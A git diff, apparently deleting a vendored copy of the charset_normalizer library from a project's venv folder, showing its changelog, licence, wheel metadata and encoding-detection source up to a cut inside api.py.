utf_8 (PEP 263) with underscore from [@aleksandernovikov](https://github.com/aleksandernovikov) (#204) - -## [2.1.0](https://github.com/Ousret/charset_normalizer/compare/2.0.12...2.1.0) (2022-06-19) - -### Added -- Output the Unicode table version when running the CLI with `--version` (PR #194) - -### Changed -- Reuse decoded buffer for single byte character sets from [@nijel](https://github.com/nijel) (PR #175) -- Fixing some performance bottlenecks from [@deedy5](https://github.com/deedy5) (PR #183) - -### Fixed -- Workaround potential bug in cpython with Zero Width No-Break Space located in Arabic Presentation Forms-B, Unicode 1.1 not acknowledged as space (PR #175) -- CLI default threshold aligned with the API threshold from [@oleksandr-kuzmenko](https://github.com/oleksandr-kuzmenko) (PR #181) - -### Removed -- Support for Python 3.5 (PR #192) - -### Deprecated -- Use of backport unicodedata from `unicodedata2` as Python is quickly catching up, scheduled for removal in 3.0 (PR #194) - -## [2.0.12](https://github.com/Ousret/charset_normalizer/compare/2.0.11...2.0.12) (2022-02-12) - -### Fixed -- ASCII miss-detection on rare cases (PR #170) - -## [2.0.11](https://github.com/Ousret/charset_normalizer/compare/2.0.10...2.0.11) (2022-01-30) - -### Added -- Explicit support for Python 3.11 (PR #164) - -### Changed -- The logging behavior have been completely reviewed, now using only TRACE and DEBUG levels (PR #163 #165) - -## [2.0.10](https://github.com/Ousret/charset_normalizer/compare/2.0.9...2.0.10) (2022-01-04) - -### Fixed -- Fallback match entries might lead to UnicodeDecodeError for large bytes sequence (PR #154) - -### Changed -- Skipping the language-detection (CD) on ASCII (PR #155) - -## [2.0.9](https://github.com/Ousret/charset_normalizer/compare/2.0.8...2.0.9) (2021-12-03) - -### Changed -- Moderating the logging impact (since 2.0.8) for specific environments (PR #147) - -### Fixed -- Wrong logging level applied when setting kwarg `explain` to True (PR #146) - -## [2.0.8](https://github.com/Ousret/charset_normalizer/compare/2.0.7...2.0.8) (2021-11-24) -### Changed -- Improvement over Vietnamese detection (PR #126) -- MD improvement on trailing data and long foreign (non-pure latin) data (PR #124) -- Efficiency improvements in cd/alphabet_languages from [@adbar](https://github.com/adbar) (PR #122) -- call sum() without an intermediary list following PEP 289 recommendations from [@adbar](https://github.com/adbar) (PR #129) -- Code style as refactored by Sourcery-AI (PR #131) -- Minor adjustment on the MD around european words (PR #133) -- Remove and replace SRTs from assets / tests (PR #139) -- Initialize the library logger with a `NullHandler` by default from [@nmaynes](https://github.com/nmaynes) (PR #135) -- Setting kwarg `explain` to True will add provisionally (bounded to function lifespan) a specific stream handler (PR #135) - -### Fixed -- Fix large (misleading) sequence giving UnicodeDecodeError (PR #137) -- Avoid using too insignificant chunk (PR #137) - -### Added -- Add and expose function `set_logging_handler` to configure a specific StreamHandler from [@nmaynes](https://github.com/nmaynes) (PR #135) -- Add `CHANGELOG.md` entries, format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/) (PR #141) - -## [2.0.7](https://github.com/Ousret/charset_normalizer/compare/2.0.6...2.0.7) (2021-10-11) -### Added -- Add support for Kazakh (Cyrillic) language detection (PR #109) - -### Changed -- Further, improve inferring the language from a given single-byte code page (PR #112) -- Vainly trying to leverage PEP263 when PEP3120 is not supported (PR #116) -- Refactoring for potential performance improvements in loops from [@adbar](https://github.com/adbar) (PR #113) -- Various detection improvement (MD+CD) (PR #117) - -### Removed -- Remove redundant logging entry about detected language(s) (PR #115) - -### Fixed -- Fix a minor inconsistency between Python 3.5 and other versions regarding language detection (PR #117 #102) - -## [2.0.6](https://github.com/Ousret/charset_normalizer/compare/2.0.5...2.0.6) (2021-09-18) -### Fixed -- Unforeseen regression with the loss of the backward-compatibility with some older minor of Python 3.5.x (PR #100) -- Fix CLI crash when using --minimal output in certain cases (PR #103) - -### Changed -- Minor improvement to the detection efficiency (less than 1%) (PR #106 #101) - -## [2.0.5](https://github.com/Ousret/charset_normalizer/compare/2.0.4...2.0.5) (2021-09-14) -### Changed -- The project now comply with: flake8, mypy, isort and black to ensure a better overall quality (PR #81) -- The BC-support with v1.x was improved, the old staticmethods are restored (PR #82) -- The Unicode detection is slightly improved (PR #93) -- Add syntax sugar \_\_bool\_\_ for results CharsetMatches list-container (PR #91) - -### Removed -- The project no longer raise warning on tiny content given for detection, will be simply logged as warning instead (PR #92) - -### Fixed -- In some rare case, the chunks extractor could cut in the middle of a multi-byte character and could mislead the mess detection (PR #95) -- Some rare 'space' characters could trip up the UnprintablePlugin/Mess detection (PR #96) -- The MANIFEST.in was not exhaustive (PR #78) - -## [2.0.4](https://github.com/Ousret/charset_normalizer/compare/2.0.3...2.0.4) (2021-07-30) -### Fixed -- The CLI no longer raise an unexpected exception when no encoding has been found (PR #70) -- Fix accessing the 'alphabets' property when the payload contains surrogate characters (PR #68) -- The logger could mislead (explain=True) on detected languages and the impact of one MBCS match (PR #72) -- Submatch factoring could be wrong in rare edge cases (PR #72) -- Multiple files given to the CLI were ignored when publishing results to STDOUT. (After the first path) (PR #72) -- Fix line endings from CRLF to LF for certain project files (PR #67) - -### Changed -- Adjust the MD to lower the sensitivity, thus improving the global detection reliability (PR #69 #76) -- Allow fallback on specified encoding if any (PR #71) - -## [2.0.3](https://github.com/Ousret/charset_normalizer/compare/2.0.2...2.0.3) (2021-07-16) -### Changed -- Part of the detection mechanism has been improved to be less sensitive, resulting in more accurate detection results. Especially ASCII. (PR #63) -- According to the community wishes, the detection will fall back on ASCII or UTF-8 in a last-resort case. (PR #64) - -## [2.0.2](https://github.com/Ousret/charset_normalizer/compare/2.0.1...2.0.2) (2021-07-15) -### Fixed -- Empty/Too small JSON payload miss-detection fixed. Report from [@tseaver](https://github.com/tseaver) (PR #59) - -### Changed -- Don't inject unicodedata2 into sys.modules from [@akx](https://github.com/akx) (PR #57) - -## [2.0.1](https://github.com/Ousret/charset_normalizer/compare/2.0.0...2.0.1) (2021-07-13) -### Fixed -- Make it work where there isn't a filesystem available, dropping assets frequencies.json. Report from [@sethmlarson](https://github.com/sethmlarson). (PR #55) -- Using explain=False permanently disable the verbose output in the current runtime (PR #47) -- One log entry (language target preemptive) was not show in logs when using explain=True (PR #47) -- Fix undesired exception (ValueError) on getitem of instance CharsetMatches (PR #52) - -### Changed -- Public function normalize default args values were not aligned with from_bytes (PR #53) - -### Added -- You may now use charset aliases in cp_isolation and cp_exclusion arguments (PR #47) - -## [2.0.0](https://github.com/Ousret/charset_normalizer/compare/1.4.1...2.0.0) (2021-07-02) -### Changed -- 4x to 5 times faster than the previous 1.4.0 release. At least 2x faster than Chardet. -- Accent has been made on UTF-8 detection, should perform rather instantaneous. -- The backward compatibility with Chardet has been greatly improved. The legacy detect function returns an identical charset name whenever possible. -- The detection mechanism has been slightly improved, now Turkish content is detected correctly (most of the time) -- The program has been rewritten to ease the readability and maintainability. (+Using static typing)+ -- utf_7 detection has been reinstated. - -### Removed -- This package no longer require anything when used with Python 3.5 (Dropped cached_property) -- Removed support for these languages: Catalan, Esperanto, Kazakh, Baque, Volapük, Azeri, Galician, Nynorsk, Macedonian, and Serbocroatian. -- The exception hook on UnicodeDecodeError has been removed. - -### Deprecated -- Methods coherence_non_latin, w_counter, chaos_secondary_pass of the class CharsetMatch are now deprecated and scheduled for removal in v3.0 - -### Fixed -- The CLI output used the relative path of the file(s). Should be absolute. - -## [1.4.1](https://github.com/Ousret/charset_normalizer/compare/1.4.0...1.4.1) (2021-05-28) -### Fixed -- Logger configuration/usage no longer conflict with others (PR #44) - -## [1.4.0](https://github.com/Ousret/charset_normalizer/compare/1.3.9...1.4.0) (2021-05-21) -### Removed -- Using standard logging instead of using the package loguru. -- Dropping nose test framework in favor of the maintained pytest. -- Choose to not use dragonmapper package to help with gibberish Chinese/CJK text. -- Require cached_property only for Python 3.5 due to constraint. Dropping for every other interpreter version. -- Stop support for UTF-7 that does not contain a SIG. -- Dropping PrettyTable, replaced with pure JSON output in CLI. - -### Fixed -- BOM marker in a CharsetNormalizerMatch instance could be False in rare cases even if obviously present. Due to the sub-match factoring process. -- Not searching properly for the BOM when trying utf32/16 parent codec. - -### Changed -- Improving the package final size by compressing frequencies.json. -- Huge improvement over the larges payload. - -### Added -- CLI now produces JSON consumable output. -- Return ASCII if given sequences fit. Given reasonable confidence. - -## [1.3.9](https://github.com/Ousret/charset_normalizer/compare/1.3.8...1.3.9) (2021-05-13) - -### Fixed -- In some very rare cases, you may end up getting encode/decode errors due to a bad bytes payload (PR #40) - -## [1.3.8](https://github.com/Ousret/charset_normalizer/compare/1.3.7...1.3.8) (2021-05-12) - -### Fixed -- Empty given payload for detection may cause an exception if trying to access the `alphabets` property. (PR #39) - -## [1.3.7](https://github.com/Ousret/charset_normalizer/compare/1.3.6...1.3.7) (2021-05-12) - -### Fixed -- The legacy detect function should return UTF-8-SIG if sig is present in the payload. (PR #38) - -## [1.3.6](https://github.com/Ousret/charset_normalizer/compare/1.3.5...1.3.6) (2021-02-09) - -### Changed -- Amend the previous release to allow prettytable 2.0 (PR #35) - -## [1.3.5](https://github.com/Ousret/charset_normalizer/compare/1.3.4...1.3.5) (2021-02-08) - -### Fixed -- Fix error while using the package with a python pre-release interpreter (PR #33) - -### Changed -- Dependencies refactoring, constraints revised. - -### Added -- Add python 3.9 and 3.10 to the supported interpreters - -MIT License - -Copyright (c) 2025 TAHRI Ahmed R. - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/RECORD b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/RECORD deleted file mode 100644 index 47c355a30ad0e0ebfdb8fb03e11b1a046eb1e9b0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/RECORD +++ /dev/null @@ -1,35 +0,0 @@ -../../Scripts/normalizer.exe,sha256=oDc8lFKzZO9uiCob_uVYEboVyjYm1sMW19rTLK_D1U0,108413 -charset_normalizer-3.5.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -charset_normalizer-3.5.1.dist-info/METADATA,sha256=8AGSqtmXnOUL2rK_1HGtBwWu5aM_S_bSfBvSRBfIc-U,46746 -charset_normalizer-3.5.1.dist-info/RECORD,, -charset_normalizer-3.5.1.dist-info/WHEEL,sha256=-IaOVGd54IKy9O8azc5wW9nMJIKe6K3SE5RreQb4JC0,101 -charset_normalizer-3.5.1.dist-info/entry_points.txt,sha256=ADSTKrkXZ3hhdOVFi6DcUEHQRS0xfxDIE_pEz4wLIXA,65 -charset_normalizer-3.5.1.dist-info/licenses/LICENSE,sha256=GFd0hdNwTxpHne2OVzwJds_tMV_S_ReYP6mI2kwvcNE,1092 -charset_normalizer-3.5.1.dist-info/top_level.txt,sha256=7ASyzePr8_xuZWJsnqJjIBtyV8vhEo0wBCv1MPRRi3Q,19 -charset_normalizer/__init__.py,sha256=ycn8rewH5fvBwHuaqui1TCOPSVJLQGKffd_URxnOdwo,1630 -charset_normalizer/__main__.py,sha256=2sj_BS6H0sU25C1bMqz9DVwa6kOK9lchSEbSU-_iu7M,115 -charset_normalizer/__pycache__/__init__.cpython-314.pyc,, -charset_normalizer/__pycache__/__main__.cpython-314.pyc,, -charset_normalizer/__pycache__/api.cpython-314.pyc,, -charset_normalizer/__pycache__/cd.cpython-314.pyc,, -charset_normalizer/__pycache__/constant.cpython-314.pyc,, -charset_normalizer/__pycache__/legacy.cpython-314.pyc,, -charset_normalizer/__pycache__/md.cpython-314.pyc,, -charset_normalizer/__pycache__/models.cpython-314.pyc,, -charset_normalizer/__pycache__/utils.cpython-314.pyc,, -charset_normalizer/__pycache__/version.cpython-314.pyc,, -charset_normalizer/api.py,sha256=kDLFyKYLLBm1EB0VQ-Sqiw3tJmGNKKPUXDNyRUzyCmo,36708 -charset_normalizer/cd.cp314-win_amd64.pyd,sha256=8jSh29GTY6MmDWoeLYLsHG4wsuI9YFd5YCEjHWaNl4o,119296 -charset_normalizer/cd.py,sha256=9bULt-ywKO0vdprAJ1e2Mgq91Kow4VUSXkgPFcKNuNs,16447 -charset_normalizer/cli/__init__.py,sha256=d9MUx-1V_qD3x9igIy4JT4oC5CU0yjulk7QyZWeRFhg,144 -charset_normalizer/cli/__main__.py,sha256=GinmtKDY11sW9P592ngc_g-MFZ52AISBZVNI9pNVGIc,12312 -charset_normalizer/cli/__pycache__/__init__.cpython-314.pyc,, -charset_normalizer/cli/__pycache__/__main__.cpython-314.pyc,, -charset_normalizer/constant.py,sha256=m04KSZEzcLQoPSZGa-xzr33RzfE71w2TJaxFP4LoYo8,63245 -charset_normalizer/legacy.py,sha256=jVoZFrn8FLiQ9LaNuacV5yGJqFSqBnQwpl8DUlJkm9s,2730 -charset_normalizer/md.cp314-win_amd64.pyd,sha256=-vXLAGSSs1JqvL_ayaDTnNUtMkJSktudKiENi0TZ2SU,198144 -charset_normalizer/md.py,sha256=4roTT-e8_da80tDLzMceOMx9xaJbgRi3S01PHh9PnC0,36302 -charset_normalizer/models.py,sha256=ARiRFvhQGZb9h7V_EmOddj3yG82AG5_HaNs6XJUZNUw,13917 -charset_normalizer/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -charset_normalizer/utils.py,sha256=TcIQtmcLQNkzKSW4k915K0Q3Nl8Uer4AJRoIYGs1qFM,14574 -charset_normalizer/version.py,sha256=xumJYEfkC2qWba5FZedb9bQnkKnAGlMEY1i7rBcjoRA,123 diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/WHEEL b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/WHEEL deleted file mode 100644 index 36bad7d450018ea1b68794d4a77e3dbb92237995..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (84.0.0) -Root-Is-Purelib: false -Tag: cp314-cp314-win_amd64 - diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/entry_points.txt b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/entry_points.txt deleted file mode 100644 index 65619e73ec06c20c2a70c9507b872ad624d1a85c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -normalizer = charset_normalizer.cli:cli_detect diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/licenses/LICENSE b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/licenses/LICENSE deleted file mode 100644 index 8885be9624d2bf3fdeca3551d3b5f475bcb536db..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2025 TAHRI Ahmed R. - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/top_level.txt b/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/top_level.txt deleted file mode 100644 index 66958f0a069d7aea7939bed40b9197608e93b243..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer-3.5.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -charset_normalizer diff --git a/venv/Lib/site-packages/charset_normalizer/__init__.py b/venv/Lib/site-packages/charset_normalizer/__init__.py deleted file mode 100644 index a939279b673a8d209f1e2526a61332005d33b7c8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/__init__.py +++ /dev/null @@ -1,48 +0,0 @@ -""" -Charset-Normalizer -~~~~~~~~~~~~~~ -The Real First Universal Charset Detector. -A library that helps you read text from an unknown charset encoding. -Motivated by chardet, This package is trying to resolve the issue by taking a new approach. -All IANA character set names for which the Python core library provides codecs are supported. - -Basic usage: - >>> from charset_normalizer import from_bytes - >>> results = from_bytes('Bсеки човек има право на образование. Oбразованието!'.encode('utf_8')) - >>> best_guess = results.best() - >>> str(best_guess) - 'Bсеки човек има право на образование. Oбразованието!' - -Others methods and usages are available - see the full documentation -at . -:copyright: (c) Ahmed TAHRI -:license: MIT, see LICENSE for more details. -""" - -from __future__ import annotations - -import logging - -from .api import from_bytes, from_fp, from_path, is_binary -from .legacy import detect -from .models import CharsetMatch, CharsetMatches -from .utils import set_logging_handler -from .version import VERSION, __version__ - -__all__ = ( - "from_fp", - "from_path", - "from_bytes", - "is_binary", - "detect", - "CharsetMatch", - "CharsetMatches", - "__version__", - "VERSION", - "set_logging_handler", -) - -# Attach a NullHandler to the top level logger by default -# https://docs.python.org/3.3/howto/logging.html#configuring-logging-for-a-library - -logging.getLogger("charset_normalizer").addHandler(logging.NullHandler()) diff --git a/venv/Lib/site-packages/charset_normalizer/__main__.py b/venv/Lib/site-packages/charset_normalizer/__main__.py deleted file mode 100644 index 7b623edfde51fc72f586702ed8b5c2f742cfe059..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/__main__.py +++ /dev/null @@ -1,6 +0,0 @@ -from __future__ import annotations - -from .cli import cli_detect - -if __name__ == "__main__": - cli_detect() diff --git a/venv/Lib/site-packages/charset_normalizer/api.py b/venv/Lib/site-packages/charset_normalizer/api.py deleted file mode 100644 index f1fedece1d05e990805cd6e67d86e01c2fe8de06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/api.py +++ /dev/null @@ -1,934 +0,0 @@ -from __future__ import annotations - -import logging -from functools import lru_cache -from os import PathLike -from typing import BinaryIO - -from .cd import ( - coherence_ratio, - encoding_languages, - mb_encoding_languages, - merge_coherence_ratios, -) -from .constant import ( - IANA_SUPPORTED, - IANA_SUPPORTED_SIMILAR, - TOO_BIG_SEQUENCE, - TOO_SMALL_SEQUENCE, - TRACE, -) -from .md import mess_ratio -from .models import CharsetMatch, CharsetMatches -from .utils import ( - any_specified_encoding, - cut_sequence_chunks, - iana_name, - identify_sig_or_bom, - is_multi_byte_encoding, - should_strip_sig_or_bom, -) - -logger = logging.getLogger("charset_normalizer") -explain_handler = logging.StreamHandler() -explain_handler.setFormatter( - logging.Formatter("%(asctime)s | %(levelname)s | %(message)s") -) - -# Pre-compute a reordered encoding list: multibyte first, then single-byte. -# This allows the mb_definitive_match optimization to fire earlier, skipping -# all single-byte encodings for genuine CJK content. Multibyte codecs -# hard-fail (UnicodeDecodeError) on single-byte data almost instantly, so -# testing them first costs negligible time for non-CJK files. -# Stable sort on a boolean key: multibyte (False) first, IANA order kept -# within each group. -IANA_SUPPORTED_MB_FIRST: list[str] = sorted( - IANA_SUPPORTED, key=lambda encoding: not is_multi_byte_encoding(encoding) -) - - -def from_bytes( - sequences: bytes | bytearray, - steps: int = 5, - chunk_size: int = 512, - threshold: float = 0.2, - cp_isolation: list[str] | None = None, - cp_exclusion: list[str] | None = None, - preemptive_behaviour: bool = True, - explain: bool = False, - language_threshold: float = 0.1, - enable_fallback: bool = True, -) -> CharsetMatches: - """ - Given a raw bytes sequence, return the best possibles charset usable to render str objects. - If there is no results, it is a strong indicator that the source is binary/not text. - By default, the process will extract 5 blocks of 512o each to assess the mess and coherence of a given sequence. - And will give up a particular code page after 20% of measured mess. Those criteria are customizable at will. - - The preemptive behavior DOES NOT replace the traditional detection workflow, it prioritize a particular code page - but never take it for granted. Can improve the performance. - - You may want to focus your attention to some code page or/and not others, use cp_isolation and cp_exclusion for that - purpose. - - This function will strip the SIG in the payload/sequence every time except on UTF-16, UTF-32. - By default the library does not setup any handler other than the NullHandler, if you choose to set the 'explain' - toggle to True it will alter the logger configuration to add a StreamHandler that is suitable for debugging. - Custom logging format and handler can be set manually. - """ - - if not isinstance(sequences, (bytearray, bytes)): - raise TypeError( - "Expected object of type bytes or bytearray, got: {}".format( - type(sequences) - ) - ) - - if explain: - previous_logger_level: int = logger.level - logger.addHandler(explain_handler) - logger.setLevel(TRACE) - - length: int = len(sequences) - - if length == 0: - logger.debug("Encoding detection on empty bytes, assuming utf_8 intention.") - if explain: # Defensive: ensure exit path clean handler - logger.removeHandler(explain_handler) - logger.setLevel(previous_logger_level) - return CharsetMatches([CharsetMatch(sequences, "utf_8", 0.0, False, [], "")]) - - if cp_isolation is not None: - logger.log( - TRACE, - "cp_isolation is set. use this flag for debugging purpose. " - "limited list of encoding allowed : %s.", - ", ".join(cp_isolation), - ) - cp_isolation = [iana_name(cp, False) for cp in cp_isolation] - else: - cp_isolation = [] - - if cp_exclusion is not None: - logger.log( - TRACE, - "cp_exclusion is set. use this flag for debugging purpose. " - "limited list of encoding excluded : %s.", - ", ".join(cp_exclusion), - ) - cp_exclusion = [iana_name(cp, False) for cp in cp_exclusion] - else: - cp_exclusion = [] - - if length <= (chunk_size * steps): - logger.log( - TRACE, - "override steps (%i) and chunk_size (%i) as content does not fit (%i byte(s) given) parameters.", - steps, - chunk_size, - length, - ) - steps = 1 - chunk_size = length - - if steps > 1 and length / steps < chunk_size: - chunk_size = int(length / steps) - - is_too_small_sequence: bool = len(sequences) < TOO_SMALL_SEQUENCE - is_too_large_sequence: bool = len(sequences) >= TOO_BIG_SEQUENCE - - if is_too_small_sequence: - logger.log( - TRACE, - "Trying to detect encoding from a tiny portion of (%i) byte(s).", - length, - ) - elif is_too_large_sequence: - logger.log( - TRACE, - "Using lazy str decoding because the payload is quite large, (%i) byte(s).", - length, - ) - - prioritized_encodings: list[str] = [] - - specified_encoding: str | None = ( - any_specified_encoding(sequences) if preemptive_behaviour else None - ) - - if specified_encoding is not None: - prioritized_encodings.append(specified_encoding) - logger.log( - TRACE, - "Detected declarative mark in sequence. Priority +1 given for %s.", - specified_encoding, - ) - - tested: set[str] = set() - tested_but_hard_failure: list[str] = [] - tested_but_soft_failure: list[str] = [] - soft_failure_skip: set[str] = set() - - # Avoid unoptimized RSS usage. - # this cache is mostly interesting for - # local usage. Garbage collected at the - # end. Like it should. - cached_mess_ratio = lru_cache(maxsize=None)(mess_ratio) - cached_coherence_ratio = lru_cache(maxsize=None)(coherence_ratio) - - # When a definitive result (chaos=0.0 and good coherence) is found after testing - # the prioritized encodings (ascii, utf_8), we can significantly reduce the remaining - # work. Encodings that target completely different language families (e.g., Cyrillic - # when the definitive match is Latin) are skipped entirely. - # Additionally, for same-family encodings that pass chaos probing, we reuse the - # definitive match's coherence ratios instead of recomputing them — a major savings - # since coherence_ratio accounts for ~30% of total time on slow Latin files. - definitive_match_found: bool = False - definitive_target_languages: set[str] = set() - # After the definitive match fires, we cap the number of additional same-family - # single-byte encodings that pass chaos probing. Once we've accumulated enough - # good candidates (N), further same-family SB encodings are unlikely to produce - # a better best() result and just waste mess_ratio + coherence_ratio time. - # The first encoding to trigger the definitive match is NOT counted (it's already in). - post_definitive_sb_success_count: int = 0 - POST_DEFINITIVE_SB_CAP: int = 7 - - # When a non-UTF multibyte encoding passes chaos probing with significant multibyte - # content (decoded length < 98% of raw length), skip all remaining single-byte encodings. - # Rationale: multi-byte decoders (CJK) have strict byte-sequence validation — if they - # decode without error AND pass chaos probing with substantial multibyte content, the - # data is genuinely multibyte encoded. Single-byte encodings will always decode (every - # byte maps to something) but waste time on mess_ratio before failing. - # The 98% threshold prevents false triggers on files that happen to have a few valid - # multibyte pairs (e.g., cp424/_ude_1.txt where big5 decodes with 99% ratio). - mb_definitive_match_found: bool = False - - fallback_ascii: CharsetMatch | None = None - fallback_u8: CharsetMatch | None = None - fallback_specified: CharsetMatch | None = None - - results: CharsetMatches = CharsetMatches() - - early_stop_results: CharsetMatches = CharsetMatches() - - sig_encoding, sig_payload = identify_sig_or_bom(sequences) - - if sig_encoding is not None: - prioritized_encodings.insert(0, sig_encoding) - logger.log( - TRACE, - "Detected a SIG or BOM mark on first %i byte(s). Priority +1 given for %s.", - len(sig_payload), - sig_encoding, - ) - - prioritized_encodings.append("ascii") - - if "utf_8" not in prioritized_encodings: - prioritized_encodings.append("utf_8") - - for encoding_iana in prioritized_encodings + IANA_SUPPORTED_MB_FIRST: - if cp_isolation and encoding_iana not in cp_isolation: - continue - - if cp_exclusion and encoding_iana in cp_exclusion: - continue - - if encoding_iana in tested: - continue - - tested.add(encoding_iana) - - decoded_payload: str | None = None - bom_or_sig_available: bool = sig_encoding == encoding_iana - strip_sig_or_bom: bool = bom_or_sig_available and should_strip_sig_or_bom( - encoding_iana - ) - - if encoding_iana in {"utf_16", "utf_32"} and not bom_or_sig_available: - logger.log( - TRACE, - "Encoding %s won't be tested as-is because it require a BOM. Will try some sub-encoder LE/BE.", - encoding_iana, - ) - continue - if encoding_iana in {"utf_7"} and not bom_or_sig_available: - logger.log( - TRACE, - "Encoding %s won't be tested as-is because detection is unreliable without BOM/SIG.", - encoding_iana, - ) - continue - - # Skip encodings similar to ones that already soft-failed (high mess ratio). - # Checked BEFORE the expensive decode attempt. - if encoding_iana in soft_failure_skip: - logger.log( - TRACE, - "%s is deemed too similar to a code page that was already considered unsuited. Continuing!", - encoding_iana, - ) - continue - - try: - is_multi_byte_decoder: bool = is_multi_byte_encoding(encoding_iana) - except (ModuleNotFoundError, ImportError): # Defensive: - logger.log( - TRACE, - "Encoding %s does not provide an IncrementalDecoder", - encoding_iana, - ) - continue - - # When we've already found a definitive match (chaos=0.0 with good coherence) - # after testing the prioritized encodings, skip encodings that target - # completely different language families. This avoids running expensive - # mess_ratio + coherence_ratio on clearly unrelated candidates (e.g., Cyrillic - # when the definitive match is Latin-based). - if definitive_match_found: - if not is_multi_byte_decoder: - enc_languages = set(encoding_languages(encoding_iana)) - else: - enc_languages = set(mb_encoding_languages(encoding_iana)) - if not enc_languages.intersection(definitive_target_languages): - logger.log( - TRACE, - "Skipping %s: definitive match already found, this encoding targets different languages (%s vs %s).", - encoding_iana, - enc_languages, - definitive_target_languages, - ) - continue - - # After the definitive match, cap the number of additional same-family - # single-byte encodings that pass chaos probing. This avoids testing the - # tail of rare, low-value same-family encodings (mac_iceland, cp860, etc.) - # that almost never change best() but each cost ~1-2ms of mess_ratio + coherence. - if ( - definitive_match_found - and not is_multi_byte_decoder - and post_definitive_sb_success_count >= POST_DEFINITIVE_SB_CAP - ): - logger.log( - TRACE, - "Skipping %s: already accumulated %d same-family results after definitive match (cap=%d).", - encoding_iana, - post_definitive_sb_success_count, - POST_DEFINITIVE_SB_CAP, - ) - continue - - # When a multibyte encoding with significant multibyte content has already - # passed chaos probing, skip all single-byte encodings. They will either fail - # chaos probing (wasting mess_ratio time) or produce inferior results. - if mb_definitive_match_found and not is_multi_byte_decoder: - logger.log( - TRACE, - "Skipping single-byte %s: multi-byte definitive match already found.", - encoding_iana, - ) - continue - - # Single-byte candidates of regular size defer the expensive whole - # payload decode until after chunk probing: single-byte codecs are - # stateless (1 byte == 1 char) so decoding chunk slices is provably - # identical to slicing the decoded payload, and candidates rejected - # by chaos probing (the common case) never pay the full decode nor - # the payload hash. - deferred_decoding: bool = ( - not is_multi_byte_decoder and not is_too_large_sequence - ) - - try: - if is_too_large_sequence and not is_multi_byte_decoder: - str( - ( - sequences[: int(50e4)] - if not strip_sig_or_bom - else sequences[len(sig_payload) : int(50e4)] - ), - encoding=encoding_iana, - ) - elif not deferred_decoding: - # UTF-7 BOM is encoded in modified Base64 whose byte boundary - # can overlap with the next character. Stripping raw SIG bytes - # before decoding may leave stray bytes that decode as garbage. - # Decode the full sequence and remove the leading BOM char instead. - # see https://github.com/jawah/charset_normalizer/issues/718 - # and https://github.com/jawah/charset_normalizer/issues/716 - if encoding_iana == "utf_7" and bom_or_sig_available: - decoded_payload = str( - sequences, - encoding=encoding_iana, - ) - if decoded_payload and decoded_payload[0] == "\ufeff": - decoded_payload = decoded_payload[1:] - else: - decoded_payload = str( - ( - sequences - if not strip_sig_or_bom - else sequences[len(sig_payload) :] - ), - encoding=encoding_iana, - ) - except (UnicodeDecodeError, LookupError) as e: - if not isinstance(e, LookupError): - logger.log( - TRACE, - "Code page %s does not 